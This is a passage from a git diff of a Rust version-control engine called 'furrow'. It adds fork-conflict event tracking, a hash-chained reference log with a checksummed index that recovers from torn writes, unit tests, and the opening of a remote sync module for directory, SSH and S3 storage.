conflict_id = digest_id(b"furrow:radar-conflict:v1\0", &[family_id.as_bytes(), path]); + let signature = fork_signature(forks); + let event_id = digest_id( + b"furrow:radar-event:v1\0", + &[ + conflict_id.as_bytes(), + state.as_bytes(), + signature.as_bytes(), + claim_state.as_bytes(), + ], + ); + transaction.execute( + "INSERT OR IGNORE INTO events( + event_id, kind, state, conflict_id, path, forks_json, claim_state, created_at + ) VALUES(?1, 'fork_conflict', ?2, ?3, ?4, ?5, ?6, ?7)", + params![ + event_id, + state, + conflict_id, + path, + serde_json::to_vec(forks)?, + claim_state, + now()? + ], + )?; + Ok(()) +} + +fn claim_state(path: &[u8], claims: &[ClaimRecord]) -> String { + let mut workspaces = claims + .iter() + .filter(|claim| crate::claims::matches_path(&claim.pattern, path)) + .map(|claim| claim.workspace_id.as_str()) + .collect::>(); + workspaces.sort_unstable(); + workspaces.dedup(); + match workspaces.len() { + 0 => "unclaimed", + 1 => "covered", + _ => "contested", + } + .to_owned() +} + +fn fork_signature(forks: &[EventFork]) -> String { + forks + .iter() + .map(|fork| format!("{}@{}", fork.fork_id, fork.head_snapshot)) + .collect::>() + .join(",") +} + +fn digest_id(domain: &[u8], parts: &[&[u8]]) -> String { + let mut hasher = blake3::Hasher::new(); + hasher.update(domain); + for part in parts { + hasher.update(part); + hasher.update(b"\0"); + } + hex::encode(&hasher.finalize().as_bytes()[..16]) +} + +fn object_id(bytes: &[u8]) -> anyhow::Result { + anyhow::ensure!(bytes.len() == 32, "invalid stored snapshot ID"); + let mut id = [0_u8; 32]; + id.copy_from_slice(bytes); + Ok(id) +} + +fn validate_id(value: &str, kind: &str) -> anyhow::Result<()> { + anyhow::ensure!( + value.len() == 32 && value.bytes().all(|byte| byte.is_ascii_hexdigit()), + "invalid {kind} ID" + ); + Ok(()) +} + +fn join_path(prefix: &[u8], name: &[u8]) -> Vec { + let mut path = Vec::with_capacity(prefix.len() + usize::from(!prefix.is_empty()) + name.len()); + path.extend_from_slice(prefix); + if !path.is_empty() { + path.push(b'/'); + } + path.extend_from_slice(name); + path +} + +fn directory_metadata_equal(left: &TreeEntry, right: &TreeEntry) -> bool { + left.kind == right.kind + && left.name == right.name + && left.mode == right.mode + && left.xattrs == right.xattrs + && left.class == right.class +} + +fn entry_semantically_equal(left: &TreeEntry, right: &TreeEntry) -> bool { + left.kind == right.kind + && left.name == right.name + && left.target == right.target + && left.link_target == right.link_target + && left.mode == right.mode + && left.size == right.size + && left.xattrs == right.xattrs + && left.class == right.class +} + +fn relevant(class: ContentClass) -> bool { + matches!( + class, + ContentClass::Source + | ContentClass::ConfigSecret + | ContentClass::Database + | ContentClass::Lockfile + ) +} + +fn ignored_path(path: &[u8]) -> bool { + path == b".furrow" + || path.starts_with(b".furrow/") + || path == b".git" + || path.starts_with(b".git/") +} + +fn display_path(path: &[u8]) -> String { + String::from_utf8_lossy(path).into_owned() +} + +fn now() -> anyhow::Result { + Ok(SystemTime::now() + .duration_since(UNIX_EPOCH) + .context("clock is before Unix epoch")? + .as_secs() as i64) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn event_pages_preserve_raw_paths_and_reject_wrong_or_expired_cursors() { + let temporary = tempfile::tempdir().unwrap(); + let family = "a".repeat(32); + let radar = Radar::open(temporary.path(), &family).unwrap(); + let raw_path = [b'n', 0xff, b'\n']; + radar + .connection + .execute( + "INSERT INTO events( + event_id, kind, state, conflict_id, path, forks_json, + claim_state, created_at + ) VALUES('event-1', 'fork_conflict', 'opened', 'conflict-1', + ?1, x'5b5d', 'unclaimed', 1)", + params![raw_path.as_slice()], + ) + .unwrap(); + let page = radar.events_after(None, 100).unwrap(); + assert!(page.cursor_found); + assert_eq!(page.events[0].path.bytes_hex, hex::encode(raw_path)); + assert!(page.events[0].path.display.contains('\u{fffd}')); + assert!(radar + .events_after(Some(&format!("{}:1", "b".repeat(32))), 100) + .is_err()); + assert!( + !radar + .events_after(Some(&format!("{family}:2")), 100) + .unwrap() + .cursor_found + ); + + radar + .connection + .execute("DELETE FROM events WHERE sequence = 1", []) + .unwrap(); + radar + .connection + .execute( + "INSERT INTO events( + event_id, kind, state, conflict_id, path, forks_json, + claim_state, created_at + ) VALUES('event-2', 'fork_conflict', 'opened', 'conflict-2', + x'62', x'5b5d', 'unclaimed', 2)", + [], + ) + .unwrap(); + assert!( + !radar + .events_after(Some(&format!("{family}:0")), 100) + .unwrap() + .cursor_found + ); + } +} diff --git a/engine/furrow-core/src/refs.rs b/engine/furrow-core/src/refs.rs new file mode 100644 index 0000000000..696ffe8ea2 --- /dev/null +++ b/engine/furrow-core/src/refs.rs @@ -0,0 +1,764 @@ +use crate::model::{ObjectId, SnapshotTrigger}; +use anyhow::Context; +use fs2::FileExt; +use serde::{Deserialize, Serialize}; +use std::fs::{self, File, Metadata, OpenOptions}; +use std::io::{ErrorKind, Read, Seek, SeekFrom, Write}; +use std::os::unix::fs::MetadataExt; +use std::path::{Path, PathBuf}; + +const MAGIC: &[u8; 4] = b"AGRF"; +const INDEX_MAGIC: &[u8; 8] = b"AGRI\x01\0\0\0"; +const MAX_RECORD: usize = 1024 * 1024; +const INDEX_FIELDS_LEN: usize = 8 * 8 + 32; +const INDEX_RECORD_LEN: usize = INDEX_FIELDS_LEN + 32; +type DecodedRecords = (Vec, u64, bool); + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct RefRecord { + pub sequence: u64, + pub snapshot_id: ObjectId, + pub sealed_at: i64, + pub label: Option, + pub trigger: SnapshotTrigger, + pub previous_frame: ObjectId, +} + +#[derive(Debug, Clone)] +struct DecodedRecord { + record: RefRecord, + frame_hash: ObjectId, + start: u64, + end: u64, +} + +#[derive(Debug, Clone, Copy)] +struct IndexRecord { + start: u64, + end: u64, + frame_hash: ObjectId, + device: u64, + inode: u64, + mtime_secs: i64, + mtime_nanos: i64, + ctime_secs: i64, + ctime_nanos: i64, +} + +pub struct RefLog { + path: PathBuf, + index_path: PathBuf, + lock_path: PathBuf, +} + +impl RefLog { + pub fn open(store_root: &Path, workspace_id: &str) -> anyhow::Result { + let workspace_dir = store_root.join("workspaces").join(workspace_id); + fs::create_dir_all(&workspace_dir)?; + Ok(Self { + path: workspace_dir.join("refs.log"), + index_path: workspace_dir.join("refs.index"), + lock_path: workspace_dir.join("refs.lock"), + }) + } + + /// Reads and verifies the complete authoritative log. This is intentionally + /// the recovery/rebuild path; normal head and timeline reads use the index. + pub fn records(&self) -> anyhow::Result> { + let lock = self.lock()?; + let mut file = self.open_log()?; + let (records, valid_len, incomplete_tail) = read_records(&mut file, 0, [0; 32], 1)?; + if incomplete_tail { + file.set_len(valid_len)?; + file.sync_data()?; + } + self.rewrite_index(&file, &records)?; + FileExt::unlock(&lock)?; + Ok(records.into_iter().map(|decoded| decoded.record).collect()) + } + + pub fn head(&self) -> anyhow::Result> { + Ok(self.recent(1)?.pop()) + } + + /// Streams every authoritative snapshot reference in log order using + /// constant memory. Unlike the reverse index fast path, this verifies every + /// frame and the complete hash chain before returning. + pub fn for_each_snapshot( + &self, + mut visit: impl FnMut(ObjectId) -> anyhow::Result<()>, + ) -> anyhow::Result<()> { + self.for_each_record(|record| visit(record.snapshot_id)) + } + + pub fn for_each_record( + &self, + mut visit: impl FnMut(&RefRecord) -> anyhow::Result<()>, + ) -> anyhow::Result<()> { + if !self.path.exists() { + return Ok(()); + } + let lock = self.lock()?; + let mut log = self.open_log()?; + self.ensure_index(&mut log)?; + let length = log.metadata()?.len(); + let mut offset = 0_u64; + let mut previous = [0_u8; 32]; + let mut sequence = 1_u64; + while offset < length { + let frame = read_frame_at(&mut log, offset)? + .context("reference log ended before its indexed boundary")?; + anyhow::ensure!( + frame.record.sequence == sequence, + "non-monotonic reference sequence" + ); + anyhow::ensure!( + frame.record.previous_frame == previous, + "broken reference hash chain" + ); + visit(&frame.record)?; + offset = frame.end; + previous = frame.frame_hash; + sequence += 1; + } + FileExt::unlock(&lock)?; + Ok(()) + } + + pub fn find(&self, snapshot_id: &ObjectId) -> anyhow::Result> { + let mut found = None; + self.for_each_record(|record| { + if record.snapshot_id == *snapshot_id { + found = Some(record.clone()); + } + Ok(()) + })?; + Ok(found) + } + + pub fn records_at_sequences(&self, sequences: &[u64]) -> anyhow::Result> { + if sequences.is_empty() || !self.path.exists() { + return Ok(Vec::new()); + } + let lock = self.lock()?; + let mut log = self.open_log()?; + self.ensure_index(&mut log)?; + let mut index = File::open(&self.index_path)?; + let count = (index.metadata()?.len() - INDEX_MAGIC.len() as u64) / INDEX_RECORD_LEN as u64; + let mut records = Vec::with_capacity(sequences.len()); + for sequence in sequences { + anyhow::ensure!( + *sequence > 0 && *sequence <= count, + "reference sequence is outside the indexed log" + ); + index.seek(SeekFrom::Start( + INDEX_MAGIC.len() as u64 + (*sequence - 1) * INDEX_RECORD_LEN as u64, + ))?; + let indexed = read_index_record(&mut index)?; + let frame = read_frame_at(&mut log, indexed.start)? + .context("reference index points beyond the log")?; + anyhow::ensure!( + frame.record.sequence == *sequence + && frame.end == indexed.end + && frame.frame_hash == indexed.frame_hash, + "reference index does not match the authoritative log" + ); + records.push(frame.record); + } + FileExt::unlock(&lock)?; + Ok(records) + } + + /// Returns newest-first records while reading only O(limit) log frames once + /// the reverse index has been validated. + pub fn recent(&self, limit: usize) -> anyhow::Result> { + if limit == 0 || !self.path.exists() { + return Ok(Vec::new()); + } + let lock = self.lock()?; + let mut log = self.open_log()?; + self.ensure_index(&mut log)?; + let records = match self.read_recent_indexed(&mut log, limit) { + Ok(records) => records, + Err(_) => { + self.rebuild_index(&mut log)?; + self.read_recent_indexed(&mut log, limit)? + } + }; + FileExt::unlock(&lock)?; + Ok(records) + } + + fn read_recent_indexed(&self, log: &mut File, limit: usize) -> anyhow::Result> { + let entries = self.read_index_tail(limit.saturating_add(1))?; + let skip = usize::from(entries.len() > limit); + let mut decoded = Vec::with_capacity(entries.len().saturating_sub(skip)); + for entry in &entries[skip..] { + let frame = read_frame_at(log, entry.start)? + .context("reference index points beyond the log")?; + anyhow::ensure!( + frame.end == entry.end && frame.frame_hash == entry.frame_hash, + "reference index does not match the authoritative log" + ); + decoded.push(frame); + } + if let Some(first) = decoded.first() { + let expected = if skip == 1 { + entries[0].frame_hash + } else { + [0; 32] + }; + anyhow::ensure!( + first.record.previous_frame == expected, + "broken reference hash chain" + ); + } + for pair in decoded.windows(2) { + anyhow::ensure!( + pair[1].record.previous_frame == pair[0].frame_hash, + "broken reference hash chain" + ); + } + Ok(decoded + .into_iter() + .rev() + .map(|frame| frame.record) + .collect()) + } + + pub fn append( + &self, + snapshot_id: ObjectId, + sealed_at: i64, + label: Option, + trigger: SnapshotTrigger, + ) -> anyhow::Result { + let lock = self.lock()?; + let mut file = self.open_log()?; + self.ensure_index(&mut file)?; + let last = self.read_index_tail(1)?.pop(); + let last_frame = last + .map(|entry| read_frame_at(&mut file, entry.start)) + .transpose()? + .flatten(); + if let Some(existing) = &last_frame { + if existing.record.snapshot_id == snapshot_id { + FileExt::unlock(&lock)?; + return Ok(existing.record.clone()); + } + } + + let sequence = last_frame + .as_ref() + .map_or(1, |frame| frame.record.sequence + 1); + let previous_frame = last_frame + .as_ref() + .map_or([0; 32], |frame| frame.frame_hash); + let record = RefRecord { + sequence, + snapshot_id, + sealed_at, + label, + trigger, + previous_frame, + }; + let payload = serde_json::to_vec(&record)?; + anyhow::ensure!(payload.len() <= MAX_RECORD, "reference record is too large"); + let checksum = blake3::hash(&payload); + let len_bytes = (payload.len() as u32).to_le_bytes(); + let start = file.seek(SeekFrom::End(0))?; + file.write_all(MAGIC)?; + file.write_all(&len_bytes)?; + file.write_all(checksum.as_bytes())?; + file.write_all(&payload)?; + file.sync_data()?; + let end = file.stream_position()?; + let frame_hash = hash_frame(&len_bytes, checksum.as_bytes(), &payload); + self.append_index(IndexRecord::new(start, end, frame_hash, &file.metadata()?))?; + FileExt::unlock(&lock)?; + Ok(record) + } + + fn lock(&self) -> anyhow::Result { + let lock = OpenOptions::new() + .create(true) + .truncate(false) + .read(true) + .write(true) + .open(&self.lock_path)?; + lock.lock_exclusive()?; + Ok(lock) + } + + fn open_log(&self) -> anyhow::Result { + Ok(OpenOptions::new() + .create(true) + .truncate(false) + .read(true) + .write(true) + .open(&self.path)?) + } + + fn ensure_index(&self, log: &mut File) -> anyhow::Result<()> { + let metadata = log.metadata()?; + let last = match self.prepare_index() { + Ok(last) => last, + Err(_) => return self.rebuild_index(log), + }; + let Some(last) = last else { + if metadata.len() == 0 { + return self.write_empty_index(); + } + return self.rebuild_index(log); + }; + + if last.end > metadata.len() + || last.device != metadata.dev() + || last.inode != metadata.ino() + { + return self.rebuild_index(log); + } + let Some(frame) = read_frame_at(log, last.start)? else { + return self.rebuild_index(log); + }; + if frame.end != last.end || frame.frame_hash != last.frame_hash { + return self.rebuild_index(log); + } + if metadata.len() == last.end { + if !last.matches_metadata(&metadata) { + return self.rebuild_index(log); + } + return Ok(()); + } + + let (suffix, valid_len, incomplete_tail) = + read_records(log, last.end, last.frame_hash, frame.record.sequence + 1)?; + if incomplete_tail { + log.set_len(valid_len)?; + log.sync_data()?; + } + if suffix.is_empty() { + self.refresh_index_tail(&IndexRecord::new( + last.start, + last.end, + last.frame_hash, + &log.metadata()?, + )) + } else { + self.append_index_records(log, &suffix) + } + } + + fn rebuild_index(&self, log: &mut File) -> anyhow::Result<()> { + let (records, valid_len, incomplete_tail) = read_records(log, 0, [0; 32], 1)?; + if incomplete_tail { + log.set_len(valid_len)?; + log.sync_data()?; + } + self.rewrite_index(log, &records) + } + + fn prepare_index(&self) -> anyhow::Result> { + if !self.index_path.exists() { + anyhow::bail!("reference index is missing"); + } + let mut file = OpenOptions::new() + .read(true) + .write(true) + .open(&self.index_path)?; + let mut header = [0; INDEX_MAGIC.len()]; + file.read_exact(&mut header)?; + anyhow::ensure!(&header == INDEX_MAGIC, "invalid reference index header"); + let data_len = file.metadata()?.len() - INDEX_MAGIC.len() as u64; + let complete_len = data_len / INDEX_RECORD_LEN as u64 * INDEX_RECORD_LEN as u64; + if complete_len != data_len { + file.set_len(INDEX_MAGIC.len() as u64 + complete_len)?; + file.sync_data()?; + } + if complete_len == 0 { + return Ok(None); + } + file.seek(SeekFrom::Start( + INDEX_MAGIC.len() as u64 + complete_len - INDEX_RECORD_LEN as u64, + ))?; + Ok(Some(read_index_record(&mut file)?)) + } + + fn read_index_tail(&self, limit: usize) -> anyhow::Result> { + let mut file = File::open(&self.index_path)?; + let count = (file.metadata()?.len() - INDEX_MAGIC.len() as u64) / INDEX_RECORD_LEN as u64; + let take = count.min(limit as u64); + file.seek(SeekFrom::Start( + INDEX_MAGIC.len() as u64 + (count - take) * INDEX_RECORD_LEN as u64, + ))?; + (0..take).map(|_| read_index_record(&mut file)).collect() + } + + fn rewrite_index(&self, log: &File, records: &[DecodedRecord]) -> anyhow::Result<()> { + let temporary = self.index_path.with_extension("index.tmp"); + let mut index = OpenOptions::new() + .create(true) + .truncate(true) + .write(true) + .open(&temporary)?; + index.write_all(INDEX_MAGIC)?; + let metadata = log.metadata()?; + for record in records { + write_index_record( + &mut index, + &IndexRecord::new(record.start, record.end, record.frame_hash, &metadata), + )?; + } + index.sync_all()?; + fs::rename(temporary, &self.index_path)?; + File::open(self.index_path.parent().context("index has no parent")?)?.sync_all()?; + Ok(()) + } + + fn write_empty_index(&self) -> anyhow::Result<()> { + self.rewrite_index(&self.open_log()?, &[]) + } + + fn append_index_records(&self, log: &File, records: &[DecodedRecord]) -> anyhow::Result<()> { + let metadata = log.metadata()?; + for record in records { + self.append_index(IndexRecord::new( + record.start, + record.end, + record.frame_hash, + &metadata, + ))?; + } + Ok(()) + } + + fn append_index(&self, record: IndexRecord) -> anyhow::Result<()> { + let mut index = OpenOptions::new() + .create(true) + .append(true) + .open(&self.index_path)?; + if index.metadata()?.len() == 0 { + index.write_all(INDEX_MAGIC)?; + } + // No sync: the index is checked against the log on every use and + // rebuilt when it disagrees, and the log append has already synced. + write_index_record(&mut index, &record)?; + Ok(()) + } + + fn refresh_index_tail(&self, record: &IndexRecord) -> anyhow::Result<()> { + let mut index = OpenOptions::new() + .read(true) + .write(true) + .open(&self.index_path)?; + let len = index.metadata()?.len(); + anyhow::ensure!( + len >= INDEX_MAGIC.len() as u64 + INDEX_RECORD_LEN as u64, + "reference index has no tail" + ); + index.seek(SeekFrom::Start(len - INDEX_RECORD_LEN as u64))?; + write_index_record(&mut index, record)?; + Ok(()) + } +} + +impl IndexRecord { + fn new(start: u64, end: u64, frame_hash: ObjectId, metadata: &Metadata) -> Self { + Self { + start, + end, + frame_hash, + device: metadata.dev(), + inode: metadata.ino(), + mtime_secs: metadata.mtime(), + mtime_nanos: metadata.mtime_nsec(), + ctime_secs: metadata.ctime(), + ctime_nanos: metadata.ctime_nsec(), + } + } + + fn matches_metadata(&self, metadata: &Metadata) -> bool { + self.end == metadata.len() + && self.device == metadata.dev() + && self.inode == metadata.ino() + && self.mtime_secs == metadata.mtime() + && self.mtime_nanos == metadata.mtime_nsec() + && self.ctime_secs == metadata.ctime() + && self.ctime_nanos == metadata.ctime_nsec() + } +} + +fn read_records( + file: &mut File, + start: u64, + mut expected_previous: ObjectId, + mut expected_sequence: u64, +) -> anyhow::Result { + file.seek(SeekFrom::Start(start))?; + let file_len = file.metadata()?.len(); + let mut offset = start; + let mut records = Vec::new(); + + while offset < file_len { + let frame_start = offset; + let Some(decoded) = read_frame_at(file, frame_start)? else { + return Ok((records, frame_start, true)); + }; + anyhow::ensure!( + decoded.record.previous_frame == expected_previous, + "broken reference hash chain" + ); + anyhow::ensure!( + decoded.record.sequence == expected_sequence, + "broken reference sequence" + ); + expected_previous = decoded.frame_hash; + expected_sequence += 1; + offset = decoded.end; + records.push(decoded); + } + Ok((records, offset, false)) +} + +fn read_frame_at(file: &mut File, start: u64) -> anyhow::Result> { + file.seek(SeekFrom::Start(start))?; + let mut magic = [0; 4]; + if let Err(error) = file.read_exact(&mut magic) { + return if error.kind() == ErrorKind::UnexpectedEof { + Ok(None) + } else { + Err(error.into()) + }; + } + anyhow::ensure!(&magic == MAGIC, "reference log corruption at byte {start}"); + let mut len_bytes = [0; 4]; + if file.read_exact(&mut len_bytes).is_err() { + return Ok(None); + } + let len = u32::from_le_bytes(len_bytes) as usize; + anyhow::ensure!(len <= MAX_RECORD, "reference record exceeds size limit"); + let mut checksum = [0; 32]; + if file.read_exact(&mut checksum).is_err() { + return Ok(None); + } + let mut payload = vec![0; len]; + if file.read_exact(&mut payload).is_err() { + return Ok(None); + } + anyhow::ensure!( + blake3::hash(&payload).as_bytes() == &checksum, + "reference checksum mismatch" + ); + let record: RefRecord = serde_json::from_slice(&payload).context("decode reference record")?; + let end = file.stream_position()?; + Ok(Some(DecodedRecord { + record, + frame_hash: hash_frame(&len_bytes, &checksum, &payload), + start, + end, + })) +} + +fn hash_frame(len: &[u8; 4], checksum: &[u8; 32], payload: &[u8]) -> ObjectId { + let mut hasher = blake3::Hasher::new(); + hasher.update(MAGIC); + hasher.update(len); + hasher.update(checksum); + hasher.update(payload); + *hasher.finalize().as_bytes() +} + +fn write_index_record(file: &mut File, record: &IndexRecord) -> anyhow::Result<()> { + let fields = encode_index_fields(record); + file.write_all(&fields)?; + file.write_all(blake3::hash(&fields).as_bytes())?; + Ok(()) +} + +fn read_index_record(file: &mut File) -> anyhow::Result { + let mut fields = [0; INDEX_FIELDS_LEN]; + let mut checksum = [0; 32]; + file.read_exact(&mut fields)?; + file.read_exact(&mut checksum)?; + anyhow::ensure!( + blake3::hash(&fields).as_bytes() == &checksum, + "reference index checksum mismatch" + ); + decode_index_fields(&fields) +} + +fn encode_index_fields(record: &IndexRecord) -> [u8; INDEX_FIELDS_LEN] { + let mut bytes = [0; INDEX_FIELDS_LEN]; + bytes[0..8].copy_from_slice(&record.start.to_le_bytes()); + bytes[8..16].copy_from_slice(&record.end.to_le_bytes()); + bytes[16..48].copy_from_slice(&record.frame_hash); + for (slot, value) in [ + record.device as i64, + record.inode as i64, + record.mtime_secs, + record.mtime_nanos, + record.ctime_secs, + record.ctime_nanos, + ] + .into_iter() + .enumerate() + { + let start = 48 + slot * 8; + bytes[start..start + 8].copy_from_slice(&value.to_le_bytes()); + } + bytes +} + +fn decode_index_fields(bytes: &[u8; INDEX_FIELDS_LEN]) -> anyhow::Result { + let read_i64 = |start: usize| i64::from_le_bytes(bytes[start..start + 8].try_into().unwrap()); + let mut frame_hash = [0; 32]; + frame_hash.copy_from_slice(&bytes[16..48]); + let start = read_i64(0); + let end = read_i64(8); + anyhow::ensure!( + start >= 0 && end >= start, + "invalid reference index offsets" + ); + Ok(IndexRecord { + start: start as u64, + end: end as u64, + frame_hash, + device: read_i64(48) as u64, + inode: read_i64(56) as u64, + mtime_secs: read_i64(64), + mtime_nanos: read_i64(72), + ctime_secs: read_i64(80), + ctime_nanos: read_i64(88), + }) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn snapshot(byte: u8) -> ObjectId { + [byte; 32] + } + + fn append(log: &RefLog, byte: u8) -> RefRecord { + log.append( + snapshot(byte), + byte as i64, + Some(format!("snapshot {byte}")), + SnapshotTrigger::Manual, + ) + .unwrap() + } + + #[test] + fn recent_is_newest_first_and_limited() { + let temp = tempfile::tempdir().unwrap(); + let log = RefLog::open(temp.path(), "workspace").unwrap(); + for byte in 1..=5 { + append(&log, byte); + } + + let recent = log.recent(2).unwrap(); + assert_eq!(recent.len(), 2); + assert_eq!(recent[0].snapshot_id, snapshot(5)); + assert_eq!(recent[1].snapshot_id, snapshot(4)); + assert_eq!(log.head().unwrap().unwrap().sequence, 5); + } + + #[test] + fn missing_index_is_rebuilt_from_a_legacy_log() { + let temp = tempfile::tempdir().unwrap(); + let log = RefLog::open(temp.path(), "workspace").unwrap(); + append(&log, 1); + append(&log, 2); + fs::remove_file(&log.index_path).unwrap(); + + assert_eq!(log.head().unwrap().unwrap().snapshot_id, snapshot(2)); + assert!(log.index_path.exists()); + assert_eq!(log.records().unwrap().len(), 2); + } + + #[test] + fn torn_log_and_index_tails_are_recovered() { + let temp = tempfile::tempdir().unwrap(); + let log = RefLog::open(temp.path(), "workspace").unwrap(); + append(&log, 1); + append(&log, 2); + let valid_log_len = fs::metadata(&log.path).unwrap().len(); + let valid_index_len = fs::metadata(&log.index_path).unwrap().len(); + + OpenOptions::new() + .append(true) + .open(&log.path) + .unwrap() + .write_all(b"AG") + .unwrap(); + OpenOptions::new() + .append(true) + .open(&log.index_path) + .unwrap() + .write_all(b"torn") + .unwrap(); + + assert_eq!(log.head().unwrap().unwrap().snapshot_id, snapshot(2)); + assert_eq!(fs::metadata(&log.path).unwrap().len(), valid_log_len); + assert_eq!( + fs::metadata(&log.index_path).unwrap().len(), + valid_index_len + ); + assert_eq!(log.head().unwrap().unwrap().snapshot_id, snapshot(2)); + } + + #[test] + fn complete_scan_still_detects_a_broken_hash_chain() { + let temp = tempfile::tempdir().unwrap(); + let log = RefLog::open(temp.path(), "workspace").unwrap(); + append(&log, 1); + append(&log, 2); + + let first = log.read_index_tail(2).unwrap()[0]; + let mut file = OpenOptions::new() + .read(true) + .write(true) + .open(&log.path) + .unwrap(); + file.seek(SeekFrom::Start(first.start + 4 + 4 + 32)) + .unwrap(); + file.write_all(b"X").unwrap(); + file.sync_data().unwrap(); + + assert!(log.records().unwrap_err().to_string().contains("checksum")); + } + + #[test] + fn corrupt_advisory_index_record_is_rebuilt_from_the_log() { + let temp = tempfile::tempdir().unwrap(); + let log = RefLog::open(temp.path(), "workspace").unwrap(); + for byte in 1..=5 { + append(&log, byte); + } + + let mut index = OpenOptions::new() + .read(true) + .write(true) + .open(&log.index_path) + .unwrap(); + index + .seek(SeekFrom::Start( + INDEX_MAGIC.len() as u64 + INDEX_RECORD_LEN as u64 + 17, + )) + .unwrap(); + index.write_all(b"X").unwrap(); + index.sync_data().unwrap(); + + let recent = log.recent(4).unwrap(); + assert_eq!( + recent + .iter() + .map(|record| record.snapshot_id) + .collect::>(), + vec![snapshot(5), snapshot(4), snapshot(3), snapshot(2)] + ); + assert_eq!(log.recent(5).unwrap().len(), 5); + } +} diff --git a/engine/furrow-core/src/remote.rs b/engine/furrow-core/src/remote.rs new file mode 100644 index 0000000000..a9899b3ba7 --- /dev/null +++ b/engine/furrow-core/src/remote.rs @@ -0,0 +1,1191 @@ +//! Opaque remote storage adapters for directory and persistent SSH sync. + +use crate::model::ObjectId; +use crate::s3_remote::{S3Session, S3Spec}; +use anyhow::Context; +use directories::ProjectDirs; +use fs2::FileExt; +use serde::{Deserialize, Serialize}; +use std::collections::BTreeSet; +use std::fs::{self, OpenOptions}; +use std::io::{BufReader, BufWriter, Read, Seek, SeekFrom, Write}; +use std::path::{Path, PathBuf}; +use std::process::{Child, ChildStdin, ChildStdout, Command, Stdio}; +use std::time::{Duration, Instant, SystemTime}; + +const REQUEST_MAGIC: &[u8; 5] = b"AGRP\x01"; +const RESPONSE_MAGIC: &[u8; 5] = b"AGRS\x01"; +const OP_EXISTS: u8 = 1; +const OP_READ: u8 = 2; +const OP_WRITE: u8 = 3; +const OP_LOCK: u8 = 4; +const OP_HAS_OBJECTS: u8 = 5; +const OP_WRITE_FRAME: u8 = 6; +const OP_UNLOCK: u8 = 7; +const OP_PING: u8 = 8; +const OP_WAIT_HEAD: u8 = 9; +const STATUS_OK: u8 = 0; +const STATUS_ERROR: u8 = 1; +const MAX_KEY_BYTES: usize = 96; +const MAX_REF_BYTES: usize = 80; +const MAX_ERROR_BYTES: usize = 8 * 1024; +pub(crate) const MAX_OBJECT_BYTES: u64 = 256 * 1024 * 1024 + 1024; +pub(crate) const MAX_METADATA_BYTES: u64 = 1024 * 1024 + 1024; +const MAX_HAVE_BATCH: usize = 4096; +const MAX_FRAME_BYTES: u64 = 20 * 1024 * 1024; +const FRAME_POINTER_MAGIC: &[u8; 5] = b"AGFP\x01"; + +#[derive(Debug, Clone, Serialize, Deserialize)] +#[serde(untagged)] +pub enum RemoteSpec { + Directory(PathBuf), + Ssh { ssh: String }, + S3 { s3: S3Spec }, +} + +impl RemoteSpec { + pub fn from_input(input: &Path) -> anyhow::Result { + let value = input.to_string_lossy(); + if let Some(host) = value.strip_prefix("ssh://") { + validate_ssh_host(host)?; + return Ok(Self::Ssh { + ssh: host.to_owned(), + }); + } + if value.starts_with("s3://") { + return Ok(Self::S3 { + s3: S3Spec::from_uri(&value)?, + }); + } + anyhow::ensure!(!value.contains("://"), "unsupported remote URI scheme"); + let path = if input.is_absolute() { + input.to_owned() + } else { + std::env::current_dir()?.join(input) + }; + ensure_durable_directory(&path)?; + Ok(Self::Directory(path.canonicalize()?)) + } + + pub fn display(&self) -> String { + match self { + Self::Directory(path) => path.display().to_string(), + Self::Ssh { ssh } => format!("ssh://{ssh}"), + Self::S3 { s3 } => s3.display(), + } + } + + pub fn validate(&self) -> anyhow::Result<()> { + match self { + Self::Directory(path) => { + anyhow::ensure!(path.is_absolute(), "remote directory must be absolute"); + } + Self::Ssh { ssh } => validate_ssh_host(ssh)?, + Self::S3 { s3 } => s3.validate()?, + } + Ok(()) + } +} + +pub(crate) struct Session { + inner: SessionInner, + connect_ms: u64, + operations: u64, + last_head_hash: Option<[u8; 32]>, + // `None` addresses the well-known, backward-compatible `HEAD`/`LEASE` + // keys. `Some(name)` scopes every head/lease/lock operation below to an + // independent named ref so concurrent publishers never contend. + active_ref: Option, +} + +pub(crate) struct HeadChange { + pub changed: bool, + pub notify_ms: Option, +} + +enum SessionInner { + Directory { + root: PathBuf, + lock: Option, + }, + Ssh { + child: Child, + input: Option>, + output: BufReader, + locked: bool, + }, + S3(Box), +} + +impl Session { + pub fn open(spec: &RemoteSpec, namespace: &str) -> anyhow::Result { + let started = Instant::now(); + validate_namespace(namespace)?; + spec.validate()?; + let inner = match spec { + RemoteSpec::Directory(path) => { + let root = path.join(namespace); + ensure_durable_directory(&root.join("objects"))?; + SessionInner::Directory { root, lock: None } + } + RemoteSpec::Ssh { ssh } => { + let program = + std::env::var_os("FURROW_SSH_COMMAND").unwrap_or_else(|| "ssh".into()); + let mut child = Command::new(program) + .arg("-T") + .arg("-o") + .arg("BatchMode=yes") + .arg("--") + .arg(ssh) + .arg("furrow") + .arg("__remote") + .arg(namespace) + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .stderr(Stdio::inherit()) + .spawn() + .with_context(|| format!("start SSH sync helper on {ssh}"))?; + let input = BufWriter::new(child.stdin.take().context("SSH helper has no stdin")?); + let output = + BufReader::new(child.stdout.take().context("SSH helper has no stdout")?); + SessionInner::Ssh { + child, + input: Some(input), + output, + locked: false, + } + } + RemoteSpec::S3 { s3 } => SessionInner::S3(Box::new(S3Session::open(s3, namespace)?)), + }; + let mut session = Self { + inner, + connect_ms: 0, + operations: 0, + last_head_hash: None, + active_ref: None, + }; + if let SessionInner::Ssh { input, output, .. } = &mut session.inner { + request( + input.as_mut().context("SSH helper input is closed")?, + OP_PING, + "", + &[], + )?; + read_ok_response(output, MAX_ERROR_BYTES as u64)?; + } + session.connect_ms = elapsed_ms(started); + Ok(session) + } + + pub fn begin_operation(&mut self) -> (u64, bool) { + let reused = self.operations > 0; + self.operations += 1; + (if reused { 0 } else { self.connect_ms }, reused) + } + + /// Scope every subsequent head/lease/lock operation on this session to + /// `ref_name`. `None` preserves the well-known `HEAD`/`LEASE` keys used + /// before named refs existed. + pub fn set_ref(&mut self, ref_name: Option<&str>) -> anyhow::Result<()> { + if let Some(name) = ref_name { + validate_ref(name)?; + } + self.active_ref = ref_name.map(str::to_owned); + Ok(()) + } + + pub fn ref_name(&self) -> Option<&str> { + self.active_ref.as_deref() + } + + pub fn begin_writer(&mut self) -> anyhow::Result<()> { + let ref_name = 